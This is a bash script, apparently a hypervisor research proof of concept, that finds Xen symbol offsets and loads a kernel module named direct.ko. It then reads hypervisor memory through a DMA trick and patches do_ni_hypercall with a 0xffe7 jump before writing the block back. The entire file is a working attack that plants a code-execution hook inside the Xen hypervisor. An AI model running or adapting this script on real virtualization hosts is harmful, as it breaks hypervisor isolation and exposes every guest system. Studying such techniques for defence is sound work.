#!/bin/bash

XEN_SYM_FILE=""
#XEN_SYM_FILE="/boot/xen-syms-3.2.0"
#XEN_SYM_FILE="/boot/xen-syms-2.6.21-2950.fc8"

# this should not need adjustment if Dom0 kernel has a "hypervisor" entry in /proc/iomap
XEN_PHYS_START=0
#XEN_PHYS_START=0xdee00000 # for Xen fc8-2950 that doesn't have "hypervisor" entry in /proc/iomap

# those should not need adjustment
XEN_START=0
XEN_DO_NI_HYPERCALL=0
XEN_DO_NI_HYPERCALL_PA=0
LINUX_STEXT=0

echo Trying to find all the offsets...

if [ $XEN_PHYS_START = 0 ]; then
XEN_PHYS_START=`grep -ri hypervisor /proc/iomem | sed 's/ *\([0-9a-fA-F]*\).*$/0x\1/'`
fi
echo "XEN_PHYS_START         = $XEN_PHYS_START"

# others gonna need this var
#export XEN_PHYS_START 

if [ ! -e $XEN_SYM_FILE ]; then
echo "Error: Xen symbol files doesn't exist!"
exit 1
fi

if [ $XEN_START = 0 ]; then 
XEN_START=`objdump -d $XEN_SYM_FILE | head | grep "<start>:" | sed 's/^\([0-9a-fA-F]*\).*/0x\1/'`
fi
echo "XEN_START              = $XEN_START"

if [ $XEN_DO_NI_HYPERCALL = 0 ]; then
XEN_DO_NI_HYPERCALL=`objdump -t $XEN_SYM_FILE | grep do_ni_hypercall | sed 's/^\([0-9a-fA-F]*\).*/0x\1/'`
fi
echo "XEN_DO_NI_HYPERCALL    = $XEN_DO_NI_HYPERCALL"

XEN_DO_NI_HYPERCALL_PA=`../devel/xenva2pa $XEN_DO_NI_HYPERCALL $XEN_PHYS_START`
echo "XEN_DO_NI_HYPERCALL_PA = $XEN_DO_NI_HYPERCALL_PA"

if [ $LINUX_STEXT = 0 ]; then
LINUX_STEXT=`grep "T stext" /proc/kallsyms |  sed 's/^\([0-9a-fA-F]*\).*/0x\1/'`
fi
echo "LINUX_STEXT            = $LINUX_STEXT"
echo "Loading hdd_direct module..."
if [ ! -e direct.ko ]; then
echo "No direct.ko found; build the module first."
exit 1
fi

insmod direct.ko stext=$LINUX_STEXT
if [ $? = 0 ]; then
	echo Module loaded ok.
else
	echo Error loading module!
	exit 1
fi

../devel/ntob $XEN_DO_NI_HYPERCALL_PA > /proc/physaddr

echo Reading Xen memory via DMA trick...
./userread
if [ ! $? = 0 ]; then
	echo Error executing userread!
	exit 1
fi

#store the original emory block for later recert...
cp userinput userinput.orig

echo "This should be the original Xen's do_ni_hypercall() -- if not we're doomed!"
objdump -m i386 -b binary -M x86-64 -D userinput | head | tail -5
echo Patching the first 2 bytes of do_ni_hypercall with 0xffe7...
printf "\xff\xe7" | dd of=userinput bs=1 conv=notrunc 2>/dev/null
objdump -m i386 -b binary -M x86-64 -D userinput | head | tail -5

echo Writing Xen memory via DMA trick...
./userwrite
if [ ! $? = 0 ]; then
	echo Error executing userwrite!
	exit 1
fi

echo If you see this message, then it might have worked!
